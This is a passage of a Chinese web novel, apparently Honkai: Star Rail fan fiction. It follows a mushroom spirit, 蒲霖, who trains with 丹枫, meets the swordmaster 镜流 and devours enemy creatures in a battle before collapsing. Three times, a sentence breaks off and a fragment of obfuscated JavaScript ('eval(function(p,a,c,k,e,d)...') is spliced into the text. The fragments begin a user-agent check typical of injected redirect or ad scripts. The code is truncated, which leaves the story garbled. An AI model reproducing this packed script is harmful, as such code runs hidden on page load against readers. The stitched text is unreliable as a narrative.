“顽皮......上了战场可不能这样。” “嗯嗯~那是当然啦,我很有分寸的!” 后面也尝试让蒲霖使用外物来进行攻击,但发现仙舟的武器并不适合他。 最直接是一点就是,即使手中有现成的武器,蘑菇第一反应还是用菌丝和孢子来应战。 前面这点也许还能用时间来克服,但在蒲霖尝试将力量输入武器进行攻击时—— “咔嚓。” 在两人错愕的眼神中,那把给蒲霖练手的武器凭空断成了两截。 蒲霖:“......” 丹枫:“......” 此时无声胜有声。 要知道它美名其曰是练手武器,但好歹也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不管怎么样,蒲霖总算是有了能用的武器。 单从特性而言,仙舟高科技武器胜在能专门针对孽物,虽有数百米高的金人可以驱使,但可能失控的机巧总比不过握在手中的武器。 他们不好拿丰饶孽物去练习,就没有匹配的猎杀对象,导致武器的最大威力发挥不出。 而蒲霖的能力是否能压制丰饶孽物,以及压制的程度如何亦没有明确的数据。 在蒲霖与丹枫对打后的第三天,他被丹枫带去了其他洞天。 这是蒲霖第一次离开生活的家园。 那个洞天没有什么建筑,多的是自然风光,人烟稀少,平原辽阔,只有一种生物在其中疯狂繁殖。 宇宙之大,无奇不有。 或是有意,或是无意,世界上经常会有奇特怪异的生物诞生,比如塞满了整个星系的香涎干酪,比如云朵般轻盈的混沌云芝。 尤其在丰饶随性赐福的情况下,若不加以干预,疾病、生物、死亡就会以不可抵挡的姿势席卷宇宙。 仙舟联盟作为曾领受丰饶赐福的存在,自然也有不少洞天用于专门放置某些危险生物。 它们无休止地繁衍,生长速度极快,且对周遭生物与环境迫害很大,力量也不容小觑。 它们由仙舟管制,不能让它们出去危害宇宙,也不能放任它们在仙舟肆虐。 于是为防治某些生物泛滥,罗浮官方会定期组织云骑去那些洞天进行猎杀。 一方面有目的的武装磨练,另一方面也有奖赏的趣味活动。 要磨练蒲霖杀敌的技巧,自然也能拿它们练手。 丹枫带着蒲霖一路畅通无阻地踏入了内圈。 这是一群比较难对付且愈合速度最接近孽物的异兽。 它们所到之处几乎是寸草不生,任何其他物种会被它们吞食,是极具破坏性的存在。 然后他们从进去到离开就没有超过十分钟。 因为蒲霖完全是超额达成了目标。那些菌丝宛若死神降临,短短几息间,划定的区域内半个会呼吸的生物都没有了。 13. 第 13 章 回去的路上,饮月君觉得蒲霖算是正常发挥。 这些生物让云骑去绞杀可能会费一些时间,需要战略技巧,但蒲霖不同。 天才只会用天才的标准去评判同伴。 丹枫本就是历来最为天赋异禀的龙尊之一,他自然也会用相同的标准去看待身边人。 事实也确实如此,这些异兽的级别完全不能与丰饶孽物相提并论,只是一群没有开灵智的生物罢了。 与其再让他去跨级绞杀它们,还不如蒲霖与他对练进步来的快。 拿它们来磨练能力的条目被悄无声息地划去。 心思流转间,他突然注意到坐在一旁的少年正扒在星槎的窗口,炯炯有神地注视着窗外的景色。 他们还没有完全离开这片洞天,周遭只是居民司空见惯的蓝天、草原、高山,但蒲霖却看的津津有味。 他嘴唇微张,掌心与鼻尖都紧紧地贴在透明的窗户上,呼出的热气形成了一小片白雾,少年眨也不眨地盯着窗外飞速流逝的景色。 是那种仿佛在欣赏什么稀奇、漂亮、万年难遇的物件,似乎又怕它碎掉所以小心翼翼的神情。 “......” 蒲霖说过,它自己苏醒就在那个花盆里,往后的百年离开的洞天时间也不多。 再后来,无论有没有公务需要,他也会抽出时间带他出去,去那些罗浮监管松懈,且居民较少的洞天游览,其中持明生活的洞天最多,通过这些让蒲霖尝试适应“人”的身份和外面的环境。 百年下来,除了那些过于热闹,官方机构扎根的洞天,他们已经踏遍了许多风景,但他似乎永远都对外界的事物抱有新奇与热爱。 说起来,还没让他见一见那几个家伙...... 饮月君眸光微敛,他看着对方柔和的侧脸,突然出声,“今天的练习,蒲霖做的很好。” “唔?” 猝不及防地听到丹枫的声音,蒲霖的注意力从窗外风景上拉回,他下意识发出了一个疑惑的音节。 但少年很快便反应过来丹枫在说什么了。 他眼睛亮晶晶的,仿佛有无形的小花花往外噗嗤噗嗤地冒,“嗯!” “这里的景色和我们的家不一样,”他说,“有绿色的大地,还有好高的山,闻起来好舒服......丹枫,我们以后还能一起出来,一起看见这些吗?” “......能,日后想看多少都可以。” 接下来最重要的还是武器选择。 罗浮的武器来源主要是工造司,而朱明仙舟便是几艘仙舟里冶炼工艺最为出色的存在。 不是适合自己的武器即使装备了也只会拖累本身实力。 几乎是瞬间,饮月君的脑中立刻浮现了一个名字。 若是由那人打造...... 丹枫指节抵住薄唇,开始思考对方答应的几率有多大。 * 继之前的一系列磨砺后,蘑菇又开始了自己能力的挖掘。 在外面最好以人形出现,战场上更是刀剑无眼,因此蘑菇还得磨砺自己的敏捷度,要惯用人形,还要搞清楚自己能力究竟能施展到什么程度...... 比如菌丝究竟能释放多远,数量上限是多少,菌丝一次性能腐蚀多少生物,孢子的用处还有什么等好多好多问题。 蒲霖听的晕头转向,他第一次知道自己的能力居然还有这么多学问。 术法上他还能抵挡一二,但是身手就是真的被丹枫碾压。 一来是他的本体习惯用菌丝攻击,二来他变成人的时间不过半百,即使有了近几十年的练习,他也只能勉强在丹枫那捞到个尚可的评价。 不过已经很不错了,毕竟丹枫作为龙尊,是持明的门面,云吟术与身手都是基本的要求。 两百多年下来,他的能力已经不能用正常人的水准去衡量。 * 战争前夕 经过丹枫的不断上书,将军府最终还是通过了他的请求,对于他提及的人名也没有反对,派人来简单核实一下就走了,仿佛只是走个流程。 但是附加条件就是,新上任的剑首镜流得护卫在他左右。 无论将军是出于监视少年的目的,还是保护持明族龙尊为主,派出了那位几乎是最强战力的存在,丹枫都没有异议。 他对这位剑首早有不小的交情,数年来,枪与剑的斗争一直僵持不下。 权当礼数,两人在上战场前又见了几面。 蘑菇是第一次见到这位白发红瞳的剑首,虽然丹枫已经提前介绍过这位客人,她周身冰冷的气质还是把少年冻的一激灵。 乌黑的长靴包裹着她的小腿,霜雪般的长发被束成了高马尾,深蓝的发带在脑后飘扬。 黑色与深蓝的轻甲间,腰腹正中央却镶嵌着一枚纯白的圆月。 她闲庭信步,颇有些随意地走到了他们的面前。 “镜流,好久不见。” 蒲霖听出丹枫的话语中有一丝熟稔,这不是对待陌生人的态度。 是丹枫认识的人? 再看向她的时候,她在蒲霖心中的地位已经拔高了不少。 他见这位女士外貌非常年轻,便在开口前纠结了一下称呼。 她是第一位与他正式会面的人类,想起书上说的注意事项,蒲霖决定率先向她问好,“你好,镜流姐姐,我叫蒲霖,很高兴认识你。” 女人的动作停顿了一瞬。 她端详少年许久,尤其是那双金色的瞳孔,直到把蘑菇盯的汗毛直立时,她才勾起嘴角,周身冰雪消融。 “你好啊,”她笑道,“这位小弟弟,别紧张,我又不会吃人。” 不看气质,只听她说话的内容,不知道的还以为她是个很平易近人的人。 蒲霖眨了眨眼,发现她开口之后身上的气息一下柔和了不少,那股渗人的寒意也骤然消退了许多。 但他并不觉得是因为自己。 果不其然,似乎是察觉到了她天上地下的气势转变,身边人突然开口,“镜流,别吓他。” 语气有点凶巴巴的,但并没有什么真正的责怪之意。 女人自然也知道,所以她笑容不减,目光依旧落在眼前的少年身上。 少年似乎还未成年,阳光的照射下,他面容姣好,皮肤色调偏暖白,咋一看有种冷清的感觉,和身旁人气息交错,颇为融洽。 难道是近朱者赤? 最夺目的是他的眼睛,那双鎏金的瞳孔中满是澄澈与透亮,打破了那虚幻的冷淡,与她那小徒弟的眼睛很像,却也不像。 不似耀眼的烈阳,甘甜的蜂蜜,流淌的晚霞,亦或是出鞘的利剑。 除了流露出的好奇之色,她看不到他眼底的任何情绪。 她看着他,他也看着她。 就像什么呢? 现任罗浮剑首漫不经心地想。 像......某种非人的生物似的。 没有再往深处思考,因为她感觉到了一道略高于自己的视线。随着时间的流逝,那道视线愈发幽深。 她:“......” 镜流罕见地无语了一瞬,笑着冲蒲霖轻微颔首后,就看向了一旁面无表情的人。 “好久不见,饮月,今天有时间吗?” 女人握紧手中的剑柄,支离剑发出了轻微的嗡鸣声,周身冰霜四溢。 她当然不是真的在问他“有时间”与否。 丹枫颔首。 “很好,也该有个了断了,”女人反手收起了剑,“把你要做的事情做完,我在老地方等你。” 说完,她就轻车熟路地离开了这里。 蒲霖:“......?” 蒲霖实在没有听懂他们到底在说什么,但交流的对象就在自己旁边,于是他困惑地抬头看去,想要询问一二。 丹枫看出了他的疑惑,解释道。 “她是罗浮剑意第一人,胜任剑首,统领云骑,她的剑连将军都有目共睹。我擅长枪,是以这些年来,我们一直想分个高下。” 似乎想起了往日酣畅淋漓的战斗,饮月君漠然的瞳孔中亮起了惊人的光芒。 蒲霖还是第一次看见他眼中燃起了如此高涨的火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白发剑首身形如电,灵活地避开所有席卷而来的利刃,并在空中拖出一道道残影,淬着寒芒的剑尖直冲那人面门而去! “锵——!” 长枪与长剑猛地碰撞,剧烈摩擦间,强悍的冲击波撕开了空气,将百米开外的海水一举掀翻。 太快了,狂风席卷过少年耳侧的黑发,蘑菇金色的眼里倒映出青芒白光交织的身影,苍青与冰雪的力量全力碰撞又擦肩而过,巨大的数道剑意砸向大海,肆虐奔腾的海面居然被冻结了一瞬。 凛冽的寒风将他的衣摆吹的猎猎作响,但蒲霖眼睛眨也不眨地看着,金眸闪烁着惊人的亮光。 这是一场强者之间的对决,那些精妙绝伦的招式,敏捷灵活的身法,即使在局外观看也是一件受益匪浅的事情。 ...... 不知道过了多久,最后是以镜流一剑劈开海水终结了一切。 那月牙似的霜白剑气像一只无形的大手,硬生生把海面分裂开一道巨大的裂痕,深不见底的海水还在不断向两边扩散,似乎一剑劈到了海底最深处的礁石。 背景里狂风呼啸,波涛汹涌,雷声轰鸣,却把这幅风轻云淡的场面衬托的相当震撼。 饮月君的脸色有些冷淡,虽然他平日里也是差不多的表情。 他先镜流一步收回力量落向大地,蒲霖赶忙凑上前去,绕着他转了好几圈,问他有没有事。 丹枫摇了摇头表示无事,他看向收起长剑的女人,破天荒地称赞了一声,“好剑术,不愧是传说中的无罅飞光。” “谢了,”镜流毫不谦逊地接下了这道夸赞,她也不需要谦虚客套,堂堂天才剑首本就无人能敌,“你也不赖。” 算算时间也差不多了,镜流便打算先行告退。 蒲霖依旧是那个语气与称呼,少年乖巧地朝她告别,仿佛刚刚什么都没有发生似的,又一次收获了对方意味不明的眼神。 蘑菇:“?” 14. 第 14 章 迷茫的蘑菇迷茫了一会儿就抛之脑后了。 回到家里,刚好是晚饭时间,自从丹枫告诉自己不用再藏起来后,蘑菇就大大方方地蹦到桌子边等吃饭。 持明侍从对这种情况仿佛毫无反应,只是做好他们的职责就退下了。 就在蘑菇嚼嚼嚼的时候,之前的疑惑又蹦到了他的脑中。 “丹枫,”蒲霖咕咚一声把嘴里的食物咽下,他看向一旁的男人面露不解,“你知道为什么那位客人总要看我吗?” “......” 丹枫将茶盏移开,轻轻磕到桌面上,他沉吟片刻,似乎是在考虑怎么和蘑菇解释。 也许是将军的吩咐,也许是镜流本身对他的好奇。 但他最后说, “可能是因为她有一个徒弟眼睛和你的很像。” 蒲霖:“!” 对于那位很像自己的伙伴,他突然起了兴趣,“很像?他也是男生吗?年龄跟我一样大吗?他叫什么名字?” “他叫景元,是镜流的得意门生,是男性,至于年龄......他还没成年。” “这样啊......他好小,我还以为可能是与我一样的存在呢。” 蘑菇有些遗憾,他刚往嘴里塞了口饭,就听到丹枫补充道,“不过,那位剑首的年纪不小了,已经一千出头了。” “......” 蘑菇震撼地石化了。 “多,多少?一千多???我居然完全没看出来......”蒲霖突然想起自己对人家的称呼,表情有些恍然,“按照人类的礼仪,我是不是应该叫她奶奶......” “咳咳——” 丹枫刚把茶盏端到嘴边,猝不及防听到这句话,险些被呛到。 他放下茶盏,决定自己以后还是少在蒲霖说话的时候喝水。 “不必,仙舟人寿命并无尽头,外貌更是青春永驻,除了亲缘关系,这种长辈称呼并不流通。” 蘑菇似懂非懂,对仙舟人这个种族再次表达震撼,“好长寿的种族,这就是丰饶的赐福吗?” “寿命太长也不是什么好事,还记得我跟你说的丰饶孽物吗?” “追溯到几千年前,赐福仙舟人的星神与赐福丰饶孽物的是同一位,寿瘟祸祖——药师,寿命增长,仙舟人的思想灵魂却不会,往往下场都是□□不朽精神崩溃,最后沦为魔阴身。” 蘑菇对“魔阴身”这个词早有耳闻,听起来似乎是一种疾病,难道没有抑制方法吗?蒲霖是这么想的也就这么问了。 丹枫摇了摇头,“很遗憾,魔阴身并不能算是疾病,虽有五种症状,但人类就像是一个记忆的容器,终有一日,负面情绪的堆积会爆发,就会造成魔阴身。” “但退一万步来说,若无魔阴,即使有相关政策扶持,”他平静地说出了一个可怕的事实,“那么仙舟也很可能会再度出现人口爆满,阶级固化,乃至流血冲突的恶1人口爆满,历史上的生劫便是因此而来。” 事实就是如此,没必要隐瞒,丹枫要教会蒲霖辩证地看待一些事情,而不是极端化。 蘑菇皱起了眉,“唔......长生带来了魔阴,魔阴又可以维系仙舟......这样的话,若是祂赐福的其他长生种开始繁衍后代,自己又死不掉,岂不是会造成不好的情况?那个寿瘟祸祖不包售后吗?” 他不是人类,不能理解为什么精神会崩溃,但仅凭这些形容也能看出这个什么药师似乎光顾着赐福,给予力量,其他的什么也没考虑。 “售后?倒是很准确新颖的想法。”丹枫道,“只是,还记得我之前说过的吗?星神不能以凡人的标准衡量,祂们依照原动力行动,药师的原动力就是无私、利他、治愈。追溯到千年前,联盟与祂之间可不算等价交换,他们无法拒绝恩赐,祂也不会拒绝祈愿。” “巡猎与丰饶对立,加上各大仙舟上的寿瘟祸迹会不断吸引孽物,联盟便与丰饶孽物展开了不死不休的战争。” “就不能毁掉它们吗?” 丹枫摇了摇头,“很遗憾,寿瘟祸迹已扎根仙舟,若是毁去,整艘仙舟都会随之灭亡。况且,亦是因寿瘟祸祖的赐福,仙舟人才得以克服3800种顽疾,联盟秉承昔日求药使初衷,竭力为诸多文明世界提供医药支援,除长生禁忌不可犯,抵达仙舟的求药人所求无所不应允。” 星神......可真是复杂啊。 蒲霖嚼嚼嚼,一边点头,一边发出单纯的感叹,“还好丹枫你是持明族,不是受到祂赐福的仙舟人。” 丹枫夹了一筷子菜,面色不变,下一秒冷不丁爆出一个大雷,“......其实持明族也不是绝对安全的。” “什么!?你也有魔阴身吗?!” 蒲霖吓得筷子都掉了,肉块轱辘轱辘地滚到了桌子上,在他嘴边擦过一道浅浅的油渍。 他惊慌失措地看着眼前的人,嘴里的美味也不香了。 丹枫放下筷子,无奈地抽过一张纸巾,抬手擦了擦少年嘴角的油渍。 “外人并不知晓,每个龙尊都有陷入龙狂的可能,用一句话概括,就是失去自我,被力量控制,暴怒嗜杀,直到死亡为止。” 他轻描淡写地把自己可能的死局讲给蒲霖听,仿佛这不是持明族机密似的。 “没有办法可以解决吗?” 蒲霖语气比当事人还急切,就差把快告诉我这几个大字写脸上了。 丹枫看着少年焦急的神情,心里有股莫名恶劣的情绪占了上风。 他故作深沉道,“......千年来,每一任龙尊都没能研制出解药,最好的方法就是让龙师...” 话还没说完,就见少年扁着嘴,眼角挂着两颗大大泪泡,眼眶也红红的看着他。 仿佛他马上就要得龙狂,然后嘎巴一下死掉了。 “......” “抱歉,不逗你了,”丹枫轻笑一声,他用带着手套的指尖拭去蒲霖要掉不掉的眼泪,“龙狂爆发的概率很小,如果真有那天,喊我的名字罢,总归还有唤醒的可能。” 得知丹枫在耍他玩,蒲霖凶巴巴地瞪了他一眼,还是认真回应道,“......我记住了,你以后不许在这种事上逗我了,不然我就要生气了。” 丹枫自然顺着白给的台阶就下了,他一边点头称是,一边给蘑菇顺毛。 * 那真是一个很平常的日子,像以往的每一天,风和日丽,微风不燥。 刺耳的警报声突然响彻云霄。 那时他们已整装待发,就在蘑菇还没有反应过来发生什么的时候,丹枫表情骤变,带上蒲霖一起飞快离开了洞天,最后出现在将军府,这是蘑菇第一次见到传说中的将军——腾骁。 将军府内的每个人似乎都在忙碌,有的大声指挥着什么,有的抱着资料穿梭,但隐隐可以看出他们都在以某一个人为核心。 蒲霖的目光掠过来来往往的人群,那人的身影就像聚光灯一样瞩目,同样吸引了他的视线。 男人身材魁梧,偏深色的眼里满是凌厉与怒火,他身披铠甲,似乎随时准备上阵杀敌,三言两语就分工好每个部下的职责。 大家都在忙碌,除了专门负责迎接宾客的人员,没多少人注意到突然造访的两人。 丹枫也收到了属于自己的那道命令,几乎是闪现的速度,把少年也一起拎到他负责的领域。 飞过去的过程中,丹枫在蒲霖耳侧夹了一个传讯耳坠。 少年好奇地摸了摸精致的耳坠,龙尊大人目视前方,清冷的声音自风声中传来,“有什么事情,按住这个耳坠就可以直接和我联络。” 蒲霖察觉到事情紧迫,快速点点头,突然想起这个角度对方可能看不见,连忙又补充道,“嗯!” 他们正处于高空之中,托丹枫的福,蒲霖得以在云端之上俯瞰一切。 狂风凛冽,刮起两人墨色的长发,少年额前的碎发被风吹得凌乱,露出一双微微放大的金瞳。 天空阴云密布,山雨欲来,宛如灾厄之夜。身边是整装待发的云骑,而远处的空间出现扭曲,虚假的天穹被暴力撕开一个巨大的豁口,无数大大小小的黑洞出现在周围,真正意义上的千军万马出现了。 蒲霖忍不住喃喃自语:“那是......” 好、好难看的东西!现实的怎么比丹枫给他看的图片还要难看哇! “步离人的生物战舰。” 丹枫语调冰冷。 数百艘怪异扭曲的战斗舰出现在罗浮仙舟上空,旗帜在兽舰上猎猎作响,表面嶙峋凸起的皮肤似乎还在蠕动呼吸。 狼首人身的步离人军队身披诡谲的生物战甲,崎岖扭动的器兽游曳其中。 首先露面的是一群类人的六肢动物,拥有似人半身的同时还保有类似马匹的健硕躯干,同样身披生物外骨骼装甲,外表畸形丑陋的大军张牙舞爪,犹如黑云压境般向仙舟袭来。 随着将领一声令下,无数斗舰与云舟如飞萤扑火般向黑压压的怪物军队冲去。 云骑军们身披银甲,手握阵刀,身上燃起非自然的火焰,他们一往无前,就此没入无边的黑暗。工匠操纵着数百米高的金人,它们伸出坚硬的手臂,与那些怪 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透明纤细的菌丝受到感召,从无数缝隙中伸出,看似孱弱难寻的外表让它们相当不起眼。 在轰鸣声与炮火的掩饰下,它们如蛛丝般自四面八方蜿蜒而出,穿行过黑暗炸开的火花,宛如一条条灵蛇在高空汇聚,目标明确地冲向那肆意横行的敌军。 专注对抗的敌卒没有察觉到猎食者的靠近,于是它犯下了此生最致命的错误,并再无挽回的机会。 等它发现异常,身躯已完全被看不见的生物缠绕。 “!什么东西——!!” 狼毒催化下,啮噬吮血的怪物慌乱了一瞬,想要将那些诡谲的东西剥离,它挥舞着手臂,血脉偾张,可那些曾轻易刺穿咽喉的爪牙却在此刻失效。 这些奇怪的丝线再生能力极强,好不容易斩断一片就会立刻再度涌上,源源不断,砍杀不尽。 怪物试图寄希望于自己身上的盔甲——那曾一同嚎叫振奋的战甲,但生物铠甲的重点是“生物”。 这些蕴含生命的存在反而助长了死神的威力,它们以肉眼可见的速度腐蚀掉了一大片硬邦邦的甲片,开始迅速往内里的□□渗透。 宛若沙漠中行走的旅人看见了水源,菌丝将触及的血肉之躯全部榨干,深入骨髓,它们充耳不闻孽物痛苦的嘶吼,直至这副身躯不剩半点残骸,才恋恋不舍的抽身离开。 即便孽物挣脱了菌丝束缚,某种类似毒素的物质也会入侵□□。 毒素延缓了孽物伤口的愈合,并搅乱它们的神智,对内里的脏腑造成极大的痛苦,逼迫它们不得不一边应对云骑正面攻击,一边忍受无孔不入的毒素蔓延。 而战场上稍有分神,就有可能彻底翻转战局。 方圆百里内,这种情况正在四处上演。 只要有一个生物沾染上菌丝,它就可以向四周喷洒出数以万计的孢子,孢子们直径只有几微米,在狂风席卷的战场上,黑云压境,根本看不清它们飘到何处。 最恐怖的在于,分明没有神智,它们却敌我分明,不会受伤,还能像病毒一样在生物之间疯狂繁殖。 若是碰到云骑或是星槎,它们或是无害地避开,或是干脆化作一个相当轻盈的保护层附在盔甲表面,哪怕积蓄了几万层对方都不会感到一丝重量与不适。 掉落到孽物身上就立刻化身噩梦,孢子在血肉中扎根、发芽,无数新生的菌丝又从中蔓延而出,纠缠住寄生的躯体,进行腐蚀的同时又开始喷孢子...... 如此循环,连锁反应之下,整整一大片无孽物幸免,这个情况根本无法抑制。 一时间混乱四起。 与它们对战的云骑军与飞行士皆是临危不乱,立刻抓住机会,重新调整作战方针。 新的命令传达进每一位云骑骁卫耳中,再由他们传达给其余士卒,在菌丝的助力之下,士气高涨。 连蒲霖都没想到出手的效果居然如此显著。 之前丹枫给他做陪练时,他总是落在下风,有时还被揍的毫无还手之力,这就导致对方误判了他的战力。 这片战场的骚乱很快被上报,腾骁耳边的传讯耳坠也迅速传来战场的第一手消息。 他:“......” 想起之前饮月君的请求,男人眼皮一跳。 饮月君,这就是你说的“提供微薄之力”??? 与此同时 黑发少年感知着菌丝传来的消息,眼睛顿时亮的惊人。 15.第 15 章 少年按着耳坠,像发现了新大陆似的,尾音带着一丝欢快的意味,“丹枫,我发现我的菌丝能吃掉那些怪物~” “......” 另一侧陷入了短暂的沉默。 丹枫声音轻缓,背景音里还有呼啸而过的风声,“......你是说,丰饶孽物也在你的食谱上?” “没错,吃掉它们后,我现在感觉身体暖暖的,好像有使不完的劲,可以不吃饭维持人形好久了!” 蒲霖压抑着自己的兴奋,就差原地蹦跶几下来证明了。 虽然有点耸人听闻,但丹枫的关注点还是他本身。 “没有出现任何不适?” “完全没有!唔,硬要说的话,感觉还挺好吃的......” 除了极个别例,比如被云骑军铲除的视肉,丹枫从来没听说过其他丰饶孽物还能上他族食谱的奇葩情况。 但他不愧是持明龙尊,接受新奇事物的能力极强,很快就从震惊中平复了心情。 “......好,我知道了,注意适度,待会结束的时候让我看看你的身体状况,还是那句话,一定要保护好自己。” “收到长官!好的长官!” 蘑菇关掉通讯前还不忘皮一把。他笑眯眯地关掉传讯耳坠后,冒着绿光的视线瞬间投向了那片现在定位是“食物”的存在。 就像他跟丹枫说的一样,不过那群丰饶孽物何止是好吃,它们身上的能量简直是美味的令人上瘾。 来到罗浮几百年,他吃过庭院里栽种的树植,尝过人类烹饪的菜肴,直到今天,他似乎才找到真正对口的食物。 浓郁的能量源源不断地从那些食物身上汲取而来,又被他最大限度地压榨给绞杀敌人的菌丝,战场上的死神露出了狰狞的面容。 少年的心口传来炽热的温度,似乎在响应他的兴奋。 “扑通——” 他听见云骑军们嘶吼着“卫蔽仙舟!”,无数渺小的身影义无反顾地冲进那片涌动着不详与死亡的黑色,流弹与光箭自黑暗中疾射而出,于空中炸出盛大的“礼花”。 “扑通——” 他看见不断有折翼的斗舰与云车从高空坠落,玦轮黑烟滚滚,那句“云骑长胜!”成为了多少狐人飞行士最后的遗言。 失去控制的载具砸向大地,产生了震天撼地的爆炸,那些震耳欲聋的声音宣告着一条条生命的离世。 “扑通——” 他嗅到血液飞溅的铁锈味,火焰燃烧废墟与残骸的焦糊,怪物躯体被划开的恶臭,海水清扫战场的咸涩,冰霜冻结万物的清冷...... 面对眼前残酷血腥的战场,蒲霖却没有丝毫不适,身体里的血脉亦在沸腾,响应着主人的意志。 就像......他天生属于战场一样。 黑发于他的面容撒下一层阴翳,鎏金的眼瞳中闪烁着惊心动魄的锋芒,宛若一头蓄势待发的野兽,灰黑相间的衣袍几乎让他与夜色融为一体。 无人听到,少年胸腔里那颗非人的心脏正在亢奋地跳动,踏上战场,这只人畜无害的精怪终于展现出了独属于猎食者的气息。 那么他就不客气了。 蒲霖看着那些前赴后继的孽物大军,舔了舔嘴角。 * 从吸食了第一具身体开始,它们得到了大量血肉与能量的滋养,那些透明的菌丝与孢子尝到甜头,接收到蒲霖发出的指令,更加疯狂地扑向敌军。 断了一条就立刻接上数十条,无色剧毒的菌丝如饿虎扑食般寻找自己的寄生体。 只要数量足够密集,甚至连巨大的生物战舰都可以被影响。 于是就有了现在十几分钟后的震撼场景。 源源不断的能量被菌丝汲取,又回馈到蒲霖的身上,外溢的能量化为无形的火焰包裹着蒲霖,整个人就像燃烧起来了似的。 这副人类的身体犹如一个巨大的黑洞,疯狂吸收着多年来真正渴求的力量,它们滋养过身体的经脉,流淌过他的每一处血液,最后汇聚到心脏与大脑。 但经年累月的匮乏终究还是造成了影响。 他的身体无法承受这些澎湃的能量,就像碗口大的容器装不下大海,它需要足够的时间进行拓展,若是强行为之,最后的下场只会是容器炸裂。 过于充沛的能量波动让蒲霖忽视了已经发出警报的身体。 这种感觉和平时的饱餐完全不一样,少年稀奇地看向自己的手掌,又缓缓握紧。 而且,为什么他有种......久违的感觉? 他困惑地歪了歪头。 有了蘑菇如虎添翼般的群体buff,这场战斗结束的无比顺利,胜利女神再度站在了仙舟身后。 除了云骑攻势之猛,丰饶孽物也败在了信息差,它们根本没有收到任何关于仙舟援军的消息,没有应对措施,就被蘑菇打了一个措手不及。 后者不是在杀,而是在吃,哪怕没有巢父为此丧命,这也是两个完全不同的概念。 更何况,在那女人的剑刃下,此战它们已经损失了三位巢父,以及数不清的士卒。 生命无法击败生命的掠夺者,步离人的军队溃散了,它们像落水狗一样狼狈地逃命,从来没有跑的这么快,快到像是有鬼在追着他们索命似的。 镜流收起手中的长剑,背后的系带轻微地飘动,她的足尖适才轻盈点地,耳边就传来了云骑们啧啧的感叹声。 “咱们将军这是从哪儿请来的帮手?从来没见那群孽物跑的这么快,有鬼在索他们的命吗?” “嚯,你是没看见,我可是亲眼看着那个步离人直接被什么东西缠上,像是被腐蚀了似的,短短十分钟不到连骨头都没剩下!” “少来,哪有这么夸张,镜流大人明明更厉害,哗的一剑下去,那些孽物全死光了!” “哼,剑首当然在我等之上,但那些风暴海水你看到了没?那是我们持明龙尊的伟力!不愧是龙尊大人!” 镜流面色平静地从人群中离开,腰部的红色绳结在空气中划过一道弧线,周身凝结的无形冰霜宛如清晰的隔离线,将她与其余人分割开来。 这次战后的气氛要热闹不少,加上救援及时,伤亡的人员数量只达到了三位数,到后期增加的速度更是大大缩减。 简直是奇迹。 难怪将军有意无意让她盯着些,化外民、实力不明、久居罗浮、空白资料、却偏偏有持明龙尊庇护...... 无论哪个都比较棘手,更何况这几点还重合在一人身上。 白发女人给下属布置战后相关安排的时候,几不可查地瞥了眼某个方位。 果然,那家伙一下来就出现在那人身边了。 丹枫落到蒲霖的身边,眼中不掩关切之意,“还好吗?有没有觉得哪里不舒服?” 方才他一心三用,一边用云吟术治愈受伤的士卒,一边要击溃敌军,还要分神关注蒲霖的情况,他对蒲霖的能力心知肚明,理智上更是清楚对方一直处在他的庇护之下,但还是忍不住心生担忧。 现在亲眼看到蒲霖站在面前,他才松了口气,按照他之前说过的话,用云吟术把蒲霖全身都治疗了一遍。 少年任由清澈的水流在他身上流淌,金色的瞳孔回归正常人类的模样,他小步小步地蹭到对方身边,悄声开口,“很舒服哦,丹枫,我刚刚做的足够吗?能不能达到需要的标准呀?” 丹枫微怔,没想到他第一句话会是这个问题。 对上少年有些惴惴不安的眼神,他便也学着蒲霖的样子,跟说小话似的轻声回应道,“足够了,你做的很好,不用担心,罗浮不会拒绝你的。” 但他那口气显然还是松的太早了。 “那就好......” 蒲霖眯起眼睛懒洋洋地打了个哈欠,疲惫如潮水席卷了他的全身。 “哈欠——丹枫,我怎么有点困,最近睡太晚了吗?不行...我要撑不住了,先睡......” 话音戛然而止,黑发少年阖上眼,身躯猛地向前倒去。 一切动作都被放慢了。 无论是扬起的发丝,亦或是细微的神情。 丹枫的瞳孔剧烈收缩,在他反应过来前,手臂已经稳稳地托住了对方的肩颈和后腰。 他几近慌乱地让少年埋入衣襟的面容正对自己,动作下意识轻柔,唯有颤抖的手指泄露了一丝情绪。 蒲霖依靠着他的臂弯,气色红润,呼吸绵长,眉宇也平平地舒展开,俨然一副熟睡的模样。 但异常也是那样刺眼。 极浅的裂痕在蒲霖的脸颊侧边悄然蔓延,宛若徐徐攀上肌肤的蛛丝,隐约的金光从中透出。 怎么回事? 饮月君的语气急促且清晰,“蒲霖?蒲霖?!能听见我说话吗?“ 对方始终没有任何回应。 “......” 丹枫收紧手臂,连带着蒲霖一起消失在原地。 持明卧室内 丹枫轻巧落地,把怀中的少年轻置于床铺之上,再度施展云吟术,仔细、彻底地探查了一遍。 这一次,他终于发现了不对劲的地方。 蒲霖确实没有受伤,但这具人类躯壳里藏着一团相当澎湃的能量。 即便已经强行压缩过,它的恐怖浓度仍然超出了身体所能承载的极限,却又被牢牢锁在其中,防止它逸散出来,波及到四周。 结合蒲霖之前说过的话,丹枫立刻推算出了真相。 这是他第一次以丰饶孽物为食,孽物数量庞大,蒲霖出手又容易没轻没重, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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时而觉得屋内的人似乎又多了一位,似乎是个女性,他们小声讨论着什么,最后又回归清静;更多时候还是笔尖摩挲纸张的沙沙声,让他感到无比熟悉,无比安心。 周围似乎是一片黑暗,他不知道自己的眼睛有没有睁开,亦不知道自己身处何方。 “咔哒。” 黑暗中似乎有什么东西断开了,他沉重的身躯变得无比轻盈,像是要立刻飞向高空。 